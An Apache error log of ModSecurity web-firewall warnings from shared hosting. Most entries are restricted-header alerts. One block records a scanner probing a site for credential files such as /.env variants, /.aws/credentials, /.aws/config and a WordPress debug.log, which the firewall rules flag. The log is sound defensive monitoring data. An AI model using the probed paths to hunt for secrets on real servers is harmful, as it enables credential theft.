[Fri Jul 17 08:46:15.477525 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2022-06_03.pdf"] [unique_id "almefxAi3pC6yjXGNq1_RwAAAAU"]
[Fri Jul 17 08:46:15.477955 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2022-06_03.pdf"] [unique_id "almefxAi3pC6yjXGNq1_RwAAAAU"]
[Fri Jul 17 08:46:15.478282 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2022-06_03.pdf"] [unique_id "almefxAi3pC6yjXGNq1_RwAAAAU"]
[Fri Jul 17 08:46:16.634239 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/menus/"] [unique_id "almegA7FYe46zHK_jL3OWAAAABk"]
[Fri Jul 17 08:46:16.634827 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/menus/"] [unique_id "almegA7FYe46zHK_jL3OWAAAABk"]
[Fri Jul 17 08:46:16.678105 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/menus/"] [unique_id "almegA7FYe46zHK_jL3OWAAAABk"]
[Fri Jul 17 08:46:16.685091 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:45152] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:19.853698 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/HPV/Posters/hpv_poster_2_sinhala.jpg"] [unique_id "almeg4l9vhFBGA6D8l94XQAAAAw"]
[Fri Jul 17 08:46:19.854059 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/HPV/Posters/hpv_poster_2_sinhala.jpg"] [unique_id "almeg4l9vhFBGA6D8l94XQAAAAw"]
[Fri Jul 17 08:46:19.854381 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/HPV/Posters/hpv_poster_2_sinhala.jpg"] [unique_id "almeg4l9vhFBGA6D8l94XQAAAAw"]
[Fri Jul 17 08:46:20.260235 2026] [security2:error] [pid 1993715:tid 1993715] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.stanthonys.biz"] [uri "/.env"] [unique_id "almehHRlmrtCoY_COpckvQAAAAg"]
[Fri Jul 17 08:46:20.260647 2026] [security2:error] [pid 1993715:tid 1993715] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.stanthonys.biz"] [uri "/.env"] [unique_id "almehHRlmrtCoY_COpckvQAAAAg"]
[Fri Jul 17 08:46:21.152188 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:45352] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:21.209780 2026] [security2:error] [pid 1993619:tid 1993619] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.stanthonys.biz"] [uri "/.aws/credentials"] [unique_id "almehY1dLClkUfK_dfHjuwAAAAI"]
[Fri Jul 17 08:46:21.210063 2026] [security2:error] [pid 1993619:tid 1993619] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.stanthonys.biz"] [uri "/.aws/credentials"] [unique_id "almehY1dLClkUfK_dfHjuwAAAAI"]
[Fri Jul 17 08:46:21.766609 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:46:21.769902 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:46:21.800532 2026] [security2:error] [pid 1993715:tid 1993715] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.stanthonys.biz"] [uri "/index.php"] [unique_id "almehHRlmrtCoY_COpckvQAAAAg"]
[Fri Jul 17 08:46:21.821599 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:51862] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:22.110719 2026] [security2:error] [pid 2013830:tid 2013830] [client 2a04:c300:400::87:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "stanthonys.biz"] [uri "/wp-content/plugins/easy-social-icons/js/cnss.js"] [unique_id "almehgRRrtuZqNDDSqWu-wAAABo"]
[Fri Jul 17 08:46:22.110758 2026] [security2:error] [pid 2013830:tid 2013830] [client 2a04:c300:400::87:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "stanthonys.biz"] [uri "/wp-content/plugins/easy-social-icons/js/cnss.js"] [unique_id "almehgRRrtuZqNDDSqWu-wAAABo"]
[Fri Jul 17 08:46:22.249543 2026] [security2:error] [pid 2023579:tid 2023579] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.stanthonys.biz"] [uri "/.aws/config"] [unique_id "almehuYpb_TFRze2EO3yHQAAAAE"]
[Fri Jul 17 08:46:22.249930 2026] [security2:error] [pid 2023579:tid 2023579] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.stanthonys.biz"] [uri "/.aws/config"] [unique_id "almehuYpb_TFRze2EO3yHQAAAAE"]
[Fri Jul 17 08:46:22.680906 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:51916] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:22.883760 2026] [security2:error] [pid 1993619:tid 1993619] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.stanthonys.biz"] [uri "/index.php"] [unique_id "almehY1dLClkUfK_dfHjuwAAAAI"]
[Fri Jul 17 08:46:22.945988 2026] [security2:error] [pid 2013797:tid 2013797] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.stanthonys.biz"] [uri "/.env.local"] [unique_id "almehlh1WDijTxd1xw5LKAAAAAc"]
[Fri Jul 17 08:46:22.946388 2026] [security2:error] [pid 2013797:tid 2013797] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.stanthonys.biz"] [uri "/.env.local"] [unique_id "almehlh1WDijTxd1xw5LKAAAAAc"]
[Fri Jul 17 08:46:23.523871 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almeh0gVnBK6wAv37w6q_wAAABQ"]
[Fri Jul 17 08:46:23.525357 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almeh0gVnBK6wAv37w6q_wAAABQ"]
[Fri Jul 17 08:46:23.525833 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almeh0gVnBK6wAv37w6q_wAAABQ"]
[Fri Jul 17 08:46:23.525904 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.249:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almeh0gVnBK6wAv37w6q_wAAABQ"]
[Fri Jul 17 08:46:23.525923 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.249:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almeh0gVnBK6wAv37w6q_wAAABQ"]
[Fri Jul 17 08:46:23.834594 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:51944] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:24.067491 2026] [security2:error] [pid 2023579:tid 2023579] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.stanthonys.biz"] [uri "/index.php"] [unique_id "almehuYpb_TFRze2EO3yHQAAAAE"]
[Fri Jul 17 08:46:24.197969 2026] [security2:error] [pid 2013809:tid 2013809] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.stanthonys.biz"] [uri "/.env.production"] [unique_id "almeiEgVnBK6wAv37w6rAAAAABQ"]
[Fri Jul 17 08:46:24.198259 2026] [security2:error] [pid 2013809:tid 2013809] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.stanthonys.biz"] [uri "/.env.production"] [unique_id "almeiEgVnBK6wAv37w6rAAAAABQ"]
[Fri Jul 17 08:46:24.467219 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:51984] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:24.818775 2026] [security2:error] [pid 2018768:tid 2018768] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.stanthonys.biz"] [uri "/wp-content/debug.log"] [unique_id "almeiFCBpfuYyhJ140vRUQAAAB4"]
[Fri Jul 17 08:46:24.819225 2026] [security2:error] [pid 2018768:tid 2018768] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.stanthonys.biz"] [uri "/wp-content/debug.log"] [unique_id "almeiFCBpfuYyhJ140vRUQAAAB4"]
[Fri Jul 17 08:46:25.145878 2026] [security2:error] [pid 2013797:tid 2013797] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.stanthonys.biz"] [uri "/index.php"] [unique_id "almehlh1WDijTxd1xw5LKAAAAAc"]
[Fri Jul 17 08:46:25.208796 2026] [security2:error] [pid 2018764:tid 2018764] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.stanthonys.biz"] [uri "/.env.bak"] [unique_id "almeiVseBYnnE2UYU1j6AQAAABY"]
[Fri Jul 17 08:46:25.208996 2026] [security2:error] [pid 2018764:tid 2018764] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.stanthonys.biz"] [uri "/.env.bak"] [unique_id "almeiVseBYnnE2UYU1j6AQAAABY"]
[Fri Jul 17 08:46:25.209273 2026] [security2:error] [pid 2018764:tid 2018764] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.stanthonys.biz"] [uri "/.env.bak"] [unique_id "almeiVseBYnnE2UYU1j6AQAAABY"]
[Fri Jul 17 08:46:25.520705 2026] [security2:error] [pid 1993574:tid 1993574] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.stanthonys.biz"] [uri "/.env.staging"] [unique_id "almeid0t9Kb_MdNxrg7BEwAAAAM"]
[Fri Jul 17 08:46:25.520964 2026] [security2:error] [pid 1993574:tid 1993574] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.stanthonys.biz"] [uri "/.env.staging"] [unique_id "almeid0t9Kb_MdNxrg7BEwAAAAM"]
